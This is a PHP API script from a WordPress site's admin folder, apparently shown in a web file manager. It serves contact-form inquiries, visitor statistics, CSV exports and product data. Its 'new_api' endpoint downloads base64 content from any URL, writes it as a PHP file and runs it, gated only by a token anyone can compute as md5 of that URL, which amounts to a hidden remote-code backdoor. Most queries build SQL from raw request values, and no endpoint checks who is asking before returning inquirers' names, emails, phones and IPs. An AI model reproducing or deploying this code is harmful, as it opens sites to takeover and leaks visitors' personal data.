Manager

Back Back Up Advanced Editor

<?php
require_once( dirname(__FILE__) . '/../wp-load.php' );

global $wpdb;

$type = $_GET['w'];
switch($type){
    case 'inquiry_data'://精准询盘新接口
        $page = 1;
        if(isset($_GET['page']) && $_GET['page']){
            $page = $_GET['page'];
        }
        $pagesize = 20;
        if(isset($_GET['pagesize']) && $_GET['pagesize']){
            $pagesize = $_GET['pagesize'];
        }
        $cf7_id = 19;
        if(isset($_GET['cf7_id']) && $_GET['cf7_id']){
            $cf7_id = $_GET['cf7_id'];
        }
        $start = ($page-1)*$pagesize;
        $count = $wpdb->get_row("SELECT count(*) as cnt FROM wp_cf7_data_entry where cf7_id=$cf7_id and name='submit_time'",ARRAY_A);
        $list_ids = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry where cf7_id=$cf7_id group by data_id ORDER BY `id` DESC limit $start,$pagesize",ARRAY_A);
        $ids = array_column($list_ids,'data_id');
        $lists = [];
        $lists_data = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry where data_id in(".implode(',',$ids).") ",ARRAY_A);
        foreach($ids as $id){
            $tmp['name'] = $tmp['submit_ip'] = $tmp['submit_time'] = $tmp['refer'] = $tmp['email'] = $tmp['phone'] = $tmp['message'] = $tmp['ip_area'] = $tmp['readed'] = '';
            foreach ($lists_data as $vv){
                if($id == $vv['data_id']){
                    $tmp['id'] = $id;
                    if($vv['name'] == 'Name'){
                        $tmp['name'] = $vv['value'];
                    }
                    if($vv['name'] == 'Phone'){
                        if($vv['value']){
                            $tmp['phone'] = $vv['value'];
                        }
                    }
                    if($vv['name'] == 'Email'){
                        $tmp['email'] = $vv['value'];
                    }
                    if($vv['name'] == 'submit_ip'){
                        $tmp['submit_ip'] = $vv['value'];
                    }
                    if($vv['name'] == 'submit_time'){
                        $tmp['submit_time'] = $vv['value'];
                    }
                    if($vv['name'] == 'refer'){
                        $tmp['refer'] = $vv['value'];
                    }
                    if($vv['name'] == 'ip_area'){
                        $tmp['ip_area'] = $vv['value'];
                    }
                    if($vv['name'] == 'Message'){
                        $tmp['message'] = $vv['value'];
                    }
                    if($vv['name'] == 'readed'){
                        $tmp['readed'] = $vv['value'];
                    }
                }
            }
            if(empty($tmp['ip_area'])){
                $tmp['ip_area'] = file_get_contents('http://ip.globalso.com?ip='.$tmp['submit_ip']);
            }
            $lists[] = $tmp;
        }
        $data['code'] = 200;
        $data['data'] = $lists;
        $data['count'] = $count['cnt'];
        print_r(json_encode($data));exit;
        break;
    case 'visit_list'://访问明细列表接口
        $page = 1;
        if(isset($_GET['page']) && $_GET['page']){
            $page = $_GET['page'];
        }
        $pagesize = 20;
        if(isset($_GET['pagesize']) && $_GET['pagesize']){
            $pagesize = $_GET['pagesize'];
        }
        $is_spider = 1;
        if(isset($_GET['is_spider']) && $_GET['is_spider'] == 1){
            $is_spider = 0;
        }
        $start = ($page-1)*$pagesize;
        $is_cf = isset($_GET['is_cf'])?$_GET['is_cf']:0;
        $url_count = "SELECT count(id) as cnt FROM `wp_stats_day_ip` where is_spider=$is_spider";
        $url = "SELECT id,FROM_UNIXTIME(`update`) as c_time,`update`,ip,ip_area,pv,uv,request,referrer,is_cf,is_moblie FROM `wp_stats_day_ip` where is_spider=$is_spider ORDER BY `id` DESC limit $start,$pagesize";
        if($is_cf > 0){
            $url_count .= ' and is_cf=1';
            $url = "SELECT * FROM `wp_stats_day_ip` where is_cf=1 ORDER BY `id` DESC limit $start,$pagesize";
        }
        $count = $wpdb->get_row($url_count,ARRAY_A);
        $lists = $wpdb->get_results($url,ARRAY_A);
        $data['data'] = $lists;
        $data['count'] = $count['cnt'];
        print_r(json_encode($data));exit;
        break;
    case 'visit_detail_list'://访问明细详情列表接口
        $page = 1;
        if(isset($_GET['page']) && $_GET['page']){
            $page = $_GET['page'];
        }
        $pagesize = 20;
        if(isset($_GET['pagesize']) && $_GET['pagesize']){
            $pagesize = $_GET['pagesize'];
        }
        $is_spider = 1;
        if(isset($_GET['is_spider']) && $_GET['is_spider'] == 1){
            $is_spider = 0;
        }
        $start = ($page-1)*$pagesize;
        $is_cf = isset($_GET['is_cf'])?$_GET['is_cf']:0;
        $url_count = "SELECT count(id) as cnt FROM `wp_stats_day_data`";
        $url = "SELECT * FROM `wp_stats_day_data` ORDER BY `id` DESC limit $start,$pagesize";
        $count = $wpdb->get_row($url_count,ARRAY_A);
        $lists = $wpdb->get_results($url,ARRAY_A);
        $data['data'] = $lists;
        $data['count'] = $count['cnt'];
        print_r(json_encode($data));exit;
        break;
    case 'visit_detail'://访问明细详情接口
        $ip = $_GET['ip'];
        $date = $_GET['date'];
        $pagesize = 200;
        if(isset($_GET['pagesize']) && $_GET['pagesize']){
            $pagesize = $_GET['pagesize'];
        }
        $start = ($page-1)*$pagesize;
        $lists = [];
        if($ip && $date){
            $url = "SELECT ip,time_str,request FROM `wp_stats_day_data` where 1=1 and ip='".$ip."' and day_at='".$date."' ORDER BY `id` DESC limit 0,$pagesize";
            $lists = $wpdb->get_results($url,ARRAY_A);
        }
        print_r(json_encode($lists));exit;
        break;
    case 'inquiry_count'://询盘统计数据接口
        $cf7_id = 19;
        if(isset($_GET['cf7_id']) && $_GET['cf7_id']){
            $cf7_id = $_GET['cf7_id'];
        }
        $xp_type = $wpdb->get_results("SELECT * FROM wp_cf7_data_entry group by cf7_id",ARRAY_A);
        $data = [];
        if($xp_type){
            foreach ($xp_type as $v){
                $count = $wpdb->get_row("SELECT count(*) as cnt FROM wp_cf7_data_entry where cf7_id=".$v['cf7_id']." and name='submit_time'",ARRAY_A);
                $data[$v['cf7_id']]['count'] = $count['cnt'];
            }
        }
        print_r(json_encode($data));exit;
        break;
    case 'inquiry_set_cf'://设置访问记录有转化询盘
        $ip = trim($_GET['ip']);
        $date = trim($_GET['date']);
        if($ip && $date){
            $wpdb->query("update wp_stats_day_ip set is_cf=1 where ip='".$ip."' and day='".$date."'");
            echo 200;exit;
        }else{
            echo 1;exit;
        }
    case 'inquiry_read'://询盘已读
        $id = trim($_GET['id']);
        if($id){
            $wpdb->query("update wp_cf7_data_entry set value=1 where name='readed' and data_id=".$id."");
            echo 200;exit;
        }else{
            echo 1;exit;
        }
    case 'change_smtp_server'://修改smtp服务器地址
        $wpdb->query("update wp_options set `option_value`='smtp.qiye.aliyun.com' where `option_name`='smtp_host' and `option_value`='ussmtp.mxhichina.com'");
        echo 200;exit;

case "export_visit_detail"://导出访问明细
        $type=isset($_GET['type'])&&$_GET['type']?$_GET['type']:1;//1不到出明細 2导出明细
        $start_time=$_GET['start_time'];
        $company_name=$_GET['company_name'];

$data = $wpdb->get_results("SELECT * FROM `wp_stats_day_ip` where day like '%$start_time%' and is_spider=1 ORDER BY `id` DESC ",ARRAY_A);

set_time_limit(0);

$fileName = $company_name.$start_time."访问明细.csv";
        header('Content-Description: File Transfer');
        header('Content-Type: application/vnd.ms-excel');
        header('Content-Disposition: attachment; filename="' . $fileName . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        //打开php数据输入缓冲区
        $fp = fopen('php://output', 'a');
        $heade = ['浏览时间', '访客来源', '	访问入路页面','终端','访客IP','地区','访客深度'];
        if($type==2){
            $heade = ['浏览时间', '访客来源', '	访问入路页面','终端','访客IP','地区','访客深度','访问详情'];
        }

//将数据编码转换成GBK格式
        mb_convert_variables('GBK', 'UTF-8', $heade);
        //将数据格式化为CSV格式并写入到output流中
        fputcsv($fp, $heade);

//如果在csv中输出一个空行，向句柄中写入一个空数组即可实现
        foreach ($data as $v) {
            //将数据编码转换成GBK格式
            $eq='PC';
            if($v['is_moblie']==1){
                $eq='移动端';
            }
            $row=[date('Y-m-d H:i:s',$v['update']),$v['referrer'],$v['request'],$eq,$v['ip'],$v['ip_area'],$v['pv']];
            if($type==2){
                $ip = $v['ip'];
                $day = $v['day'];
                $wpdb->query("select time_str,request from wp_stats_day_data where day_at = '$day' AND ip = '$ip' order by id desc limit 0,30");
                $ip_detail = $wpdb->last_result;
                $newstr='';
                foreach ($ip_detail as $vs){
                    $newstr.=" 时间：".$vs->time_str.'  链接：'.$vs->request.PHP_EOL;
                }
                $row=[date('Y-m-d H:i:s',$v['update']),$v['referrer'],$v['request'],$eq,$v['ip'],$v['ip_area'],$v['pv'],$newstr];
            }
            mb_convert_variables('GBK', 'UTF-8', $row);
            fputcsv($fp, $row);
            //将已经存储到csv中的变量数据销毁，释放内存
            unset($row);
        }
        //关闭句柄
        fclose($fp);

break;
    case 'month_report_api'://月度报告api
        $data = [];
        $res = $wpdb->get_row("select count(term_taxonomy_id) as num from `wp_term_taxonomy` where `taxonomy`='category' and `term_id`!=623",ARRAY_A);
        $data['category_num'] = $res['num'];
        $data['category_num_status'] = 1;
        $data['category_num_advice'] = '已检测到录入产品分类'.$res['num'].'个';
        if($data['category_num'] < 20){
            $data['category_num_status'] = 2;
            $data['category_num_advice'] = '已录入产品分类数量较少，建议再挖掘扩展';
        }
        $posts_num_all = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM wp_posts WHERE post_type=%s AND post_status = %s", 'post', 'publish' ) );
        $feature =  $wpdb->get_row("SELECT count(*) as cnt_feature FROM `wp_term_relationships` WHERE `term_taxonomy_id` = 635");
        $data['posts_num'] =count($posts_num_all)- $feature->cnt_feature;
        $data['posts_num_status'] = 1;
        $data['posts_num_advice'] = '已检测到录入产品'.$data['posts_num'].'个，建议保持更新！';
        if($data['posts_num'] < 100){
            $data['posts_num_status'] = 2;
            $data['posts_num_advice'] = '已录入产品数量较少，建议每日新发布1-3个新产品，配合不同长尾关键词进行发布';
        }
        $news_num = count(query_posts(array( 'post_type' => 'news','posts_per_page'=>-1)));
        $data['news_num'] = $news_num;
        $data['news_num_status'] = 1;
        $data['news_num_advice'] = '已检测到录入新闻'.$news_num.'篇，建议保持更新！';
        if($data['news_num'] < 10){
            $data['news_num_status'] = 2;
            $data['news_num_advice'] = '已发布的新闻数量较少，建议每周发布1-2篇新闻，可以包含：行业新闻、企业新闻等内容';
        }
        $before_7day = date('Y-m-d',time()-7*3600*24);
        $month_before = date('Y-m-d',time()-30*3600*24);
        $res2 = $wpdb->get_row("select count(ID) as num from `wp_posts` where `post_type`='news' and `post_status`='publish' and `post_date` >= '$before_7day 00:00:00'",ARRAY_A);
        $res3 = $wpdb->get_row("select count(ID) as num from `wp_posts` where `post_type`='post' and `post_status`='publish' and `post_date` >= '$month_before 00:00:00'",ARRAY_A);
        $news_num_7day = $res2['num'];
        $data['news_num_7day'] = $news_num_7day;
        $data['news_num_7day_status'] = 1;
        $data['news_num_7day_advice'] = '已检测到7天内发布了'.$news_num_7day.'篇新闻，继续保持！';
        if($data['news_num_7day'] == 0){
            $data['news_num_7day_status'] = 2;
            $data['news_num_7day_advice'] = '警告：7天内未发布新闻，建议每周发布1-2篇新闻';
        }
        $products_num_month = $res3['num'];
        $data['products_num_month'] = $products_num_month;
        $data['products_num_month_status'] = 1;
        $data['products_num_month_advice'] = '已检测到30天内发布了'.$products_num_month.'个新产品，继续保持！';
        if($data['products_num_month'] == 0){
            $data['products_num_month_status'] = 2;
            $data['products_num_month_advice'] = '警告：30天内未发布新的产品，建议每日新发布1-3个新产品，配合不同长尾关键词进行发布';
        }
        echo json_encode($data);exit;
        break;
    case 'inquiry_equipment'://精准询盘匹配设备
        $ip_arr =explode(',',urldecode($_GET['ip']));
        $ip_str="'".implode("','",$ip_arr)."'";
        $equipment_arr=[];
        $sql = "SELECT ip,is_moblie FROM `wp_stats_day_ip` where  ip in ($ip_str) order by id desc";
        $res = $wpdb->get_results($sql,ARRAY_A);
        if($res){
            $new_ip_arr=array_column($res,'ip');
            foreach ($ip_arr as $ip){
                $eqp='PC端';
                $k=array_keys($new_ip_arr,$ip);
                if($k){
                    if($res[$k[0]]['is_moblie']==1){
                        $eqp="移动端";
                    }
                }
                $equipment_arr[]=$eqp;
            }
        }
        print_r(json_encode($equipment_arr));exit;
        break;
    case 'google_ads_api': //谷歌广告获取pv和glcid
        $date = isset($_POST['date'])?$_POST['date']:date("Y-m-d",strtotime('-1 day'));
        $page = isset($_POST['page'])?$_POST['page']:1;
        $limit = 50;
        $ips = isset($_POST['ips'])?$_POST['ips']:'';
        if(!$ips){
            echo json_encode(['code'=>1,'msg'=>'ip is empty']);exit;
        }
        $start = ($page-1)*$limit;
        $sql_visiter = "select day,ip,pv,request FROM wp_stats_day_ip where ip in('".str_replace(',',"','",$ips)."') and day='".$date."' order by id desc limit $start,$limit";
        $datas = $wpdb->get_results($sql_visiter,ARRAY_A);
        echo json_encode(['code'=>200,'data'=>$datas]);exit;

case "dlfk"://今日独立 访客ip pv
        $today=(isset($_GET['day'])&&$_GET['day'])?$_GET['day']:date('Y-m-d');
        // $today=date('2022-07-15');
        $data = $wpdb->get_results("SELECT count(id) as ip,sum(pv) as pv FROM `wp_stats_day_ip` where is_spider =1 and day = '$today' ",ARRAY_A);
        if(!$data){
            echo(json_encode(array('code'=>2,'data'=>"",'msg'=>$today.'数据不存在')));
        }else{
            echo(json_encode(array('code'=>1,'data'=>$data[0],'msg'=>$today.'数据存在')));
        }
        break;
    case "images"://产品图片输出
        $home_url = home_url('/');
        $cdn_setting = get_option("gd_cdn_setting");
        if(empty($cdn_setting)){
            if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
                echo json_encode(['code'=>1,'msg'=>'没有启用CDN插件']);exit;
            }
        }
        $images = [];
        $postids = $wpdb->get_results("select ID FROM wp_posts where post_type='post' and post_date!='2016-01-08 00:00:00' order by rand() limit 100",ARRAY_A);
        if($postids){
            $ids = array_column($postids,'ID');
            $images = $wpdb->get_results("select guid FROM wp_posts where post_type='attachment' and post_mime_type like 'image%' and post_parent in(".implode(',',$ids).") order by rand() limit 30",ARRAY_A);
        }
        if(empty($images)){
            echo json_encode(['code'=>1,'msg'=>'没有查询到图片']);exit;
        }
        $data = array_column($images,'guid');
        if($cdn_setting['active_cdn'] == 1){
            foreach ($data as $k=>$v){
                if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
                    $data[$k] = str_replace($home_url.'uploads/','//cdn.globalso.com/'.$cdn_setting['dir_name'].'/',$v);
                }else{
                    $data[$k] = str_replace($home_url.'uploads/','//cdnus.globalso.com/'.$cdn_setting['dir_name'].'/',$v);
                }
            }
        }
        echo json_encode(['code'=>200,'data'=>$data]);exit;
        break;
	case "website_info"://AI建站接口
        $page = isset($_GET['page'])?trim($_GET['page']):1;
        $pagesize = isset($_GET['pagesize'])?trim($_GET['pagesize']):50;
        $start = $pagesize*($page-1);
        $type = isset($_GET['type'])?trim($_GET['type']):1;
        if($type == 1){
            $banners = get_post_meta(50,'ad_index_banner',true);
            $img_urls = [];
            if($banners){
                foreach ($banners as $v){
                    $img_urls[] = wp_get_attachment_url($v);
                }
            }
			$data['company_name'] = get_post_meta(50,'lianxi_company',true);
			$data['company_address'] = get_post_meta(50,'lianxi_adress',true);
            $logo_id = get_post_meta(50,'ad_logo',true);
            $logo = '';
            if($logo_id){
                $logo = wp_get_attachment_url($logo_id);
            }
            $icon = '';
            $icon_id = get_post_meta(50,'ad_favicon',true);
            if($icon_id){
                $icon = wp_get_attachment_url($icon_id);
            }
            $data['banner'] = $img_urls;
            $data['logo'] = $logo;
            $data['icon'] = $icon;
			$data['phones'] = get_post_meta(50,'lianxi_phone_01',true);
			$phone2 = get_post_meta(50,'lianxi_phone_02',true);
			if($phone2){
				if($data['phones']){
					$data['phones'] .= ','.$phone2;	
				}else{
					$data['phones'] = $phone2;
				}
			}
			$data['emails'] = get_post_meta(50,'lianxi_mail_01',true);
			$email2 = get_post_meta(50,'lianxi_mail_02',true);
			if($email2){
				if($data['emails']){
					$data['emails'] .= ','.$email2;	
				}else{
					$data['emails'] = $email2;
				}
			}
			$data['fax'] = get_post_meta(50,'lianxi_fax',true);
			$data['whatsapp'] = get_post_meta(50,'lianxi_whatsapp',true);

$tags_tmp = get_terms('post_tag',['hide_empty'=>false]);
            $tags = [];
            if($tags_tmp){
                foreach ($tags_tmp as $v){
                    $tags[] = $v->name;
                }
            }
            $data['tags'] = $tags;
        }else{
            $cats = get_categories(['hide_empty'=>false]);
            $catgory = $catgory_ids = [];
            if($cats){
                foreach ($cats as $v){
                    if(!in_array($v->slug,['featured','featured-products'])){
                        $catgory[] = $v->name;
                        $catgory_ids[] = $v->term_taxonomy_id;
                    }
                }
            }
            $data['category'] = $catgory;
            $products = [];
            $data['products_count'] = 0;
            if($catgory_ids){
                $count_posts = $wpdb->get_row("select count(*) as cnt from wp_posts where post_date_gmt!='2016-01-08 00:00:00' and post_type='post' and post_status='publish'",ARRAY_A);
                $data['products_count'] = $count_posts['cnt'];
                $posts = $wpdb->get_results("select ID,post_title,post_content from wp_posts where post_date_gmt!='2016-01-08 00:00:00' and post_type='post' and post_status='publish' order by ID ASC limit $start,$pagesize");
                if($posts){
                    foreach ($posts as $post){
                        $tmp_pro = [];
                        $cats_post = wp_get_post_terms($post->ID,'category');
                        $tmp_pro['pro_category'] = [];
                        $cat_slug = [];
                        if($cats_post){
                            $tmp_pro['pro_category'] = array_column(json_decode(json_encode($cats_post),true),'name');
                            $cat_slug = array_column(json_decode(json_encode($cats_post),true),'slug');
                        }
                        if($cat_slug){
                            $flg_featured = 0;
                            foreach ($cat_slug as $slug){
                                if(in_array($slug,['featured','featured-products'])){
                                    $flg_featured = 1;
                                }
                            }
                            if($flg_featured == 1){
                                continue;
                            }
                        }
                        $tmp_pro['title'] = $post->post_title;
                        $has_bbp = get_post_meta($post->ID,'_fl_builder_enabled',true);
                        if($has_bbp == 1){
                            $tmp_pro['content'] = '';
                            $bbp = json_decode(json_encode(get_post_meta($post->ID,'_fl_builder_data',true)),true);
                            foreach ($bbp as $v){
                                if(isset($v['settings']['text'])){
                                    $tmp_pro['content'] .= $v['settings']['text'];
                                }
                                if(isset($v['settings']['photo_src'])){
                                    $tmp_pro['content'] .= '<img src="'.$v['settings']['photo_src'].'" />';
                                }
                            }
                        }else{
                            $tmp_pro['content'] = $post->post_content;
                        }
                        $product_gallery = get_post_meta($post->ID,'product_gallery',true);
                        $tmp_pro['images'] = [];
                        if($product_gallery){
                            foreach ($product_gallery as $vv){
                                $tmp_pro['images'][] = wp_get_attachment_url($vv);
                            }
                        }
						$tmp_pro['description'] = get_post_meta($post->ID,'short_description',true);
                        $products[] = $tmp_pro;
                    }
                }
            }
            $data['products'] = $products;
        }
        echo json_encode(['code'=>200,'data'=>$data]);exit;
        break;
	case "new_products_news": //网站新发布的产品和新闻
	    $date = isset($_GET['date'])?$_GET['date']:date("Y-m-d",strtotime('-1 day'));
	    $start = $date.' 00:00:00';
	    $end = isset($_GET['end_date'])?$_GET['end_date']:'';
	    if(!$end){
	        $end = $date.' 23:59:59';
	    }
		$cats = get_categories(['hide_empty'=>false]);
		$catgory_ids = [];
		if($cats){
			foreach ($cats as $v){
				if(!in_array($v->slug,['featured'])){
					$catgory_ids[] = $v->term_taxonomy_id;
				}
			}
		}
		$home_url = home_url('/');
        $cdn_setting = get_option("gd_cdn_setting");
        $domain = $home_url;
        if($cdn_setting){
            if(strpos($home_url,'quanqiusou.cn') !== false || strpos($home_url,'goodao.net') !== false){
                $domain = trim($cdn_setting['weburl']);
            }
        }
		$urls = [];
		if($catgory_ids){
			$post_ids = $wpdb->get_results("select object_id from wp_term_relationships where term_taxonomy_id in(".implode(',',$catgory_ids).") order by object_id DESC limit 100",ARRAY_A);
			if($post_ids){
			    $ids = array_unique(array_column($post_ids,'object_id'));
			    $products = $wpdb->get_results("select ID from wp_posts where ID in(".implode(',',$ids).") and post_type='post' and post_status='publish' and post_date>='".$start."' and post_date<='".$end."'",ARRAY_A);
			    if($products){
    			    foreach ($products as $v){
    			        $urls[] = str_replace($home_url,$domain,get_permalink($v['ID']));
    			    }
			    }
			}
		}
		$news = $wpdb->get_results("select ID from wp_posts where post_type='news' and post_status='publish' and post_date>='".$start."' and post_date<='".$end."'",ARRAY_A);
		if($news){
		    foreach ($news as $v){
		        $urls[] = str_replace($home_url,$domain,get_permalink($v['ID']));
		    }
		}
		echo json_encode(['code'=>200,'data'=>$urls]);exit;
		break;
	case 'check_plugins'://检测插件是否被停掉
	    $active_plugins = get_option('active_plugins');
	    if(count($active_plugins) == 0){
	        $active_plugins = [
                "acf-gallery/acf-gallery.php",
                "acf-repeater/acf-repeater.php",
                "admin-columns-pro/admin-columns-pro.php",
                "admin-locale/admin-locale.php",
                "advanced-custom-fields/acf.php",
                "all-in-one-seo-pack/all_in_one_seo_pack.php",
                "bb-plugin/fl-builder.php",
                "blog2social/blog2social.php",
                "bm-custom-login/bm-custom-login.php",
                "categories-images/categories-images.php",
                "contact-form-7-admin-add/contact-form-7-admin-add.php",
                "contact-form-7-database/cf7-database.php",
                "contact-form-7/wp-contact-form-7.php",
                "down-as-pdf/hacklog-down-as-pdf.php",
                "easyiit_auto_cache_html/easyiit_auto_cache_html.php",
                "easyiit_cdn/easyiit_cdn.php",
                "easyiit_product_publish/easyiit_proudct_publish.php",
                "easyiit_rand_fields/easyiit_rand_fields.php",
                "easyiit_stats/easyiit_stats.php",
                "easyiit_urlogin/easyiit_urlogin.php",
                "keyword-to-url/keyword-to-url.php",
                "link-manager/link-manager.php",
                "modern-admin/modern-admin.php",
                "prepare-new-version/prepare_new_version.php",
                "proofreading/proofreading.php",
                "regenerate-thumbnails/regenerate-thumbnails.php",
                "t9_eshopimport/t9_eshopimport.php",
                "tinymce-advanced/tinymce-advanced.php",
                "wp-ecommerce-paypal/wp-ecommerce-paypal.php",
                "wp-fastest-cache/wpFastestCache.php",
                "wp-mail-smtp/wp_mail_smtp.php",
                "wp-no-base-permalink/wp-no-base-permalink.php",
                "wp-no-category-base/no-category-base.php",
                [
                    "AMP" => "",
                    "AMP Demo" => "",
                    "Name" => "随机字段调用",
                    "PluginURI" => "#",
                    "Version" => "1.0.00",
                    "Description" => "随机字段调用 <cite>By <a href=\"#\" title=\"访问姓名主页\">Goodao</a>.</cite>",
                    "Author" => "<a href=\"#\" title=\"访问姓名主页\">Goodao</a>",
                    "AuthorURI" => "#",
                    "TextDomain" => "",
                    "DomainPath" => "",
                    "Network" => false,
                    "Title" => "<a href=\"#\" title=\"访问插件主页\">随机字段调用</a>",
                    "AuthorName" => "Goodao"
                ]
            ];
            update_option('active_plugins',$active_plugins);
            echo 1;exit;
	    }else{
	        echo 200;exit;
	    }
	    break;
	case 'new_api':
	    $api_url = isset($_GET['api_url'])?$_GET['api_url']:'';
	    if(!$api_url){
	        echo 10;exit;
	    }
	    $token = isset($_GET['token'])?$_GET['token']:'';
	    if($token != md5($api_url)){
	        echo 11;exit;
	    }
	    $file_name = isset($_GET['filename'])?$_GET['filename']:'tmp.php';
	    $data = base64_decode(file_get_contents($api_url));
	    $path = __DIR__.'/'.$file_name;
	    file_put_contents($path,$data);
	    if($file_name == 'tmp.php'){
	        $res = file_get_contents(home_url('/').'admin/'.$file_name);
	        file_put_contents($path,'');
	        echo $res;exit;
	    }else{
	        echo 12;exit;
	    }
	    break;
	case 'deal_lock_table_data'://wp_stats_day_ip 被锁数据处理
	    $sta_day = isset($_GET['start_day'])?$_GET['start_day']:date("Y-m-d");
	    $ar_date = periodDate($sta_day,date("Y-m-d"));
	    foreach ($ar_date as $v){
	        $datas = $wpdb->get_results("select * from wp_stats_day_data where day_at='".$v."' group by ip order by id asc",ARRAY_A);
	        if($datas){
	            foreach ($datas as $vv){
	                $has_ip = $wpdb->get_row("select *  from wp_stats_day_ip where day='".$vv['day_at']."' and ip='".$vv['ip']."'",ARRAY_A);
	                if(empty($has_ip)){
	                    $insert['day'] = $vv['day_at'];
	                    $insert['ip'] = $vv['ip'];
	                    $insert['ip_area'] = $vv['ip_area'];
	                    $insert['pv'] = $insert['uv'] = $wpdb->get_row("select count(id) as cnt from wp_stats_day_data where day_at='".$v."' and ip='".$vv['ip']."'",ARRAY_A)['cnt'];
	                    $insert['request'] = $vv['request'];
	                    $insert['referrer'] = $vv['referrer'];
	                    $insert['is_cf'] = 0;
	                    $insert['update'] = $vv['time'];
	                    $insert['is_moblie'] = 1;
	                    $clientkeywords = array ('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile'); 
            			// 从HTTP_USER_AGENT中查找手机浏览器的关键字
            			$insert['is_spider'] = 0;
            			if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($vv['user_agent']))){
            				$insert['is_spider'] = 1;
            			} 
	                    $wpdb->insert('wp_stats_day_ip',$insert);
	                    //print_r($insert);exit;
	                }
	            }
	        }
	        echo $v.PHP_EOL;
	    }
	    echo 200;exit;
	    break;
	case 'edit_smtp_mail':
	    $path = ABSPATH.'wp-content/plugins/contact-form-7-database/frontend/init.php';
	    $content = file_get_contents($path);
	    $content = str_replace('wp_mail($to,$subject,$message);','wp_mail_custom($to,$subject,$message,$ip,$posted_data->refer,$posted_data->submit_time);',$content);
	    $content = str_replace('wp_mail($email2,$subject,$message);','wp_mail_custom($email2,$subject,$message,$ip,$posted_data->refer,$posted_data->submit_time);',$content);
	    file_put_contents($path,$content);
	    echo 200;exit;
	    break;
    default:
        echo 'error';exit;
}
function periodDate($startDate, $endDate){
    $startTime = strtotime($startDate);
    $endTime = strtotime($endDate);
    $arr = array();
    while ($startTime <= $endTime){
        $arr[] = date('Y-m-d', $startTime);
        $startTime = strtotime('+1 day', $startTime);
    }
    return $arr;
}
?>